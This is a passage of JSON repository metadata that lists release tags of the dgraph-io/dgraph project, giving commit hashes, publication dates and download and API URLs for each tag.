.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.2/manifests"},{"name":"v24.1.1","sha":"522f60277a0445e4cf68f53f07241c3d81bd60c3","kind":"commit","published_at":"2025-03-20T14:01:01.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.1/manifests"},{"name":"v24.1.1-test2","sha":"e3d549c2eb70433378b899b28a8f06192f21df4d","kind":"commit","published_at":"2025-03-19T02:00:59.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.1-test2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.1-test2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.1-test2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.1-test2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.1-test2/manifests"},{"name":"v24.1.1-test1","sha":"f140c2486ac190ecf9b8dc344c99389037edb846","kind":"commit","published_at":"2025-03-07T13:25:00.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.1-test1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.1-test1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.1-test1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.1-test1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.1-test1/manifests"},{"name":"v24.1.0","sha":"129003b806868fb1f4974fe48c8a866cdcddf7d7","kind":"commit","published_at":"2025-03-06T15:54:42.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.0/manifests"},{"name":"v24.1.0-rc6","sha":"f07c225dfb47a9f26abb1419c59d01ea0d6ddc0a","kind":"commit","published_at":"2025-03-04T23:02:27.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.0-rc6","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.0-rc6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.0-rc6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.0-rc6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.0-rc6/manifests"},{"name":"v24.0.6-test1","sha":"7a9de83d24c691f8a534a99d6603893965d4e34a","kind":"commit","published_at":"2025-02-27T23:58:54.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.6-test1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.6-test1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.6-test1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.6-test1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.6-test1/manifests"},{"name":"v24.1.0-rc5","sha":"138715c749fdf29abf693dc261a8e3461d6a652f","kind":"commit","published_at":"2025-02-10T06:51:35.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.0-rc5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.0-rc5/manifests"},{"name":"v24.1.0-rc4","sha":"9c6373c481cfe15a8a738d02e415529d9d1fcfa8","kind":"commit","published_at":"2025-02-10T06:22:19.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.0-rc4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.0-rc4/manifests"},{"name":"v24.1-rc3","sha":"7a7fe379b01b8e016a06ce7800083190423ab20f","kind":"commit","published_at":"2025-02-10T04:13:55.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1-rc3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1-rc3/manifests"},{"name":"v24.1-rc2","sha":"6c951843c142d9172616a866f353f45e001cff87","kind":"commit","published_at":"2025-02-10T03:45:29.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1-rc2/manifests"},{"name":"v24.1-rc1","sha":"5927a2efd7e0e2cb6787d4c47526ee10b2c44d91","kind":"commit","published_at":"2025-02-04T02:23:02.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1-rc1/manifests"},{"name":"v24.0.6-alpha3","sha":"5ed6d10f2c62c62cef1dcdb5ae8f68d4691789f0","kind":"commit","published_at":"2024-11-16T16:20:21.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.6-alpha3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.6-alpha3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.6-alpha3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.6-alpha3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.6-alpha3/manifests"},{"name":"v24.0.6-alpha2","sha":"5ed6d10f2c62c62cef1dcdb5ae8f68d4691789f0","kind":"commit","published_at":"2024-11-16T16:20:21.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.6-alpha2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.6-alpha2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.6-alpha2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.6-alpha2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.6-alpha2/manifests"},{"name":"v24.0.6-alpha1","sha":"bacda28f9ae8d666ecf0c0f980c3bff9995b2fd1","kind":"commit","published_at":"2024-11-16T14:56:26.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.6-alpha1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.6-alpha1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.6-alpha1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.6-alpha1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.6-alpha1/manifests"},{"name":"v24.0.5","sha":"27450c1a0bf1147e3afa14a6b9d146c690754469","kind":"commit","published_at":"2024-11-05T17:52:41.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.5/manifests"},{"name":"v24.0.4","sha":"84b07e6376c94aa1c93d5797bb51851bd666e3c7","kind":"commit","published_at":"2024-10-08T04:12:18.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.4/manifests"},{"name":"v24.0.2","sha":"61b8c62d55ca3000194a1b07c0f51f8f99b6f63f","kind":"commit","published_at":"2024-08-16T18:40:53.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.2/manifests"},{"name":"v24.0.2-rc1","sha":"d6ac87e44e621667b7a386038109b2afc2865dbf","kind":"commit","published_at":"2024-08-13T21:21:04.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.2-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.2-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.2-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.2-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.2-rc1/manifests"},{"name":"v24.0.1","sha":"ee57c5e98560ff8005c15def550494f0f26fa63a","kind":"commit","published_at":"2024-07-30T15:21:16.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.1/manifests"},{"name":"v24.0.0","sha":"3486cf40e2ae523b1269a176cd569d1b220ad0c1","kind":"commit","published_at":"2024-06-06T21:07:31.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.0/manifests"},{"name":"v24.0.0-rc1","sha":"96fc4f4a43f1c6bce97c972283bbc2edb5f9eaa4","kind":"commit","published_at":"2024-05-28T15:32:11.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.0-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.0-rc1/manifests"},{"name":"v22-schema-upload-fix","sha":"3ed8fc7b8aa78488f30d4d3aa7b8a8e78cba06eb","kind":"commit","published_at":"2024-05-16T11:33:59.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v22-schema-upload-fix","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v22-schema-upload-fix","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v22-schema-upload-fix","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v22-schema-upload-fix","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v22-schema-upload-fix/manifests"},{"name":"v24.0.0-alpha3","sha":"041ba157990964db065efd3fecd3a1ba1beb4349","kind":"commit","published_at":"2024-04-18T11:06:47.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.0-alpha3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.0-alpha3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.0-alpha3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.0-alpha3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.0-alpha3/manifests"},{"name":"v23.1.1","sha":"724e4dbe5a61ce5ae9489fae0a4500f847f12c17","kind":"commit","published_at":"2024-04-12T18:57:02.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v23.1.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v23.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v23.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.1.1/manifests"},{"name":"v24.0.0-alpha2","sha":"1777329ef675bbfb2d6f7124cc7f04c7a253a9a0","kind":"commit","published_at":"2024-04-05T06:53:56.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.0-alpha2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.0-alpha2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.0-alpha2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.0-alpha2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.0-alpha2/manifests"},{"name":"v24.0.0-alpha","sha":"5b69c8b00d98473fc5d67c5c26d5397c58532be3","kind":"commit","published_at":"2024-04-03T02:03:35.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.0.0-alpha","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.0.0-alpha","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.0.0-alpha","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.0-alpha","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.0.0-alpha/manifests"},{"name":"v23.1.0","sha":"2b18d19855cd85c5707b0463578017e1cb96ab64","kind":"commit","published_at":"2023-08-17T18:27:10.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v23.1.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v23.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v23.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.1.0/manifests"},{"name":"v23.1.0-rc2","sha":"8631dab37c951b288f839789bbabac5e7088b58f","kind":"commit","published_at":"2023-08-16T14:27:20.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v23.1.0-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v23.1.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v23.1.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.1.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.1.0-rc2/manifests"},{"name":"v23.1.0-rc1","sha":"0474a00ef4f5ea20f695a676f015e40965f0a976","kind":"commit","published_at":"2023-08-09T17:06:05.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v23.1.0-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v23.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v23.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.1.0-rc1/manifests"},{"name":"v23.0.1","sha":"3de01e42ba3e436177f66affbcd20aaa16936920","kind":"commit","published_at":"2023-07-03T09:05:26.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v23.0.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v23.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v23.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.0.1/manifests"},{"name":"v23.0.0","sha":"38980bc4a44352094c15ddfe4b606a8f05b48e81","kind":"commit","published_at":"2023-05-08T21:56:12.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v23.0.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v23.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v23.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.0.0/manifests"},{"name":"v23.0.0-rc1","sha":"8ea591f597a1c466becd4e52cc59823951b7a42b","kind":"commit","published_at":"2023-04-11T23:12:51.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v23.0.0-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v23.0.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v23.0.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.0.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.0.0-rc1/manifests"},{"name":"v21.03.0-99-g4a03c144a-slash","sha":"4a03c144afc10438016f9a73d90b6d0f78ef2e16","kind":"commit","published_at":"2023-03-17T18:49:12.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v21.03.0-99-g4a03c144a-slash","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v21.03.0-99-g4a03c144a-slash","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v21.03.0-99-g4a03c144a-slash","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.0-99-g4a03c144a-slash","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.0-99-g4a03c144a-slash/manifests"},{"name":"v21.03.0-98-g19f71a78a-slash","sha":"19f71a78a93112f57fea3e5e33f070b60b39b652","kind":"commit","published_at":"2023-03-07T23:36:53.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v21.03.0-98-g19f71a78a-slash","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v21.03.0-98-g19f71a78a-slash","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v21.03.0-98-g19f71a78a-slash","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.0-98-g19f71a78a-slash","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.0-98-g19f71a78a-slash/manifests"},{"name":"v23.0.0-beta1","sha":"1a182e6d9aef4171758fa2b1a3d1a3b6c796dca1","kind":"commit","published_at":"2023-03-01T22:25:03.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v23.0.0-beta1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v23.0.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v23.0.0-beta1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.0.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v23.0.0-beta1/manifests"},{"name":"v22.0.2","sha":"7b18a6bec95731201d94142ec86a4fde035fb7e0","kind":"commit","published_at":"2022-12-16T21:42:11.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v22.0.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v22.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v22.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v22.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v22.0.2/manifests"},{"name":"v22.0.1","sha":"7fb5291a984af45d4639d370c290939152c79612","kind":"commit","published_at":"2022-11-11T04:13:12.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v22.0.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v22.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v22.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v22.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v22.0.1/manifests"},{"name":"v22.0.0","sha":"c36206a5c7062efef797f62bd797625a2d0d2a27","kind":"commit","published_at":"2022-10-21T11:32:45.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v22.0.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v22.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v22.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v22.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v22.0.0/manifests"},{"name":"v22.0.0-RC1-20221003","sha":"a80c6437644caa39973a2ddccbab841eb18cc9ba","kind":"commit","published_at":"2022-10-03T16:49:16.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v22.0.0-RC1-20221003","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v22.0.0-RC1-20221003","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v22.0.0-RC1-20221003","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v22.0.0-RC1-20221003","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v22.0.0-RC1-20221003/manifests"},{"name":"v21.12.0","sha":"d62ed5f15f895af6ea012869487391afc2e7bf61","kind":"commit","published_at":"2021-12-02T15:50:09.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v21.12.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v21.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v21.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.12.0/manifests"},{"name":"v21.03.0-92-g0c9f60156","sha":"0c9f60156b34a675d76695a912e07b45590644ff","kind":"commit","published_at":"2021-10-30T15:01:10.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v21.03.0-92-g0c9f60156","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v21.03.0-92-g0c9f60156","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v21.03.0-92-g0c9f60156","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.0-92-g0c9f60156","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.0-92-g0c9f60156/manifests"},{"name":"help","sha":"a0e38da4fad06bffc59cc21821725e3a66f119f7","kind":"commit","published_at":"2021-09-23T11:03:05.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/help","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/help","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@help","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/help","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/help/manifests"},{"name":"v21.09.0-rc2","sha":"a515d0dede9014955f571f96525b49fc8c9913f4","kind":"commit","published_at":"2021-09-02T16:58:31.000Z","download_url"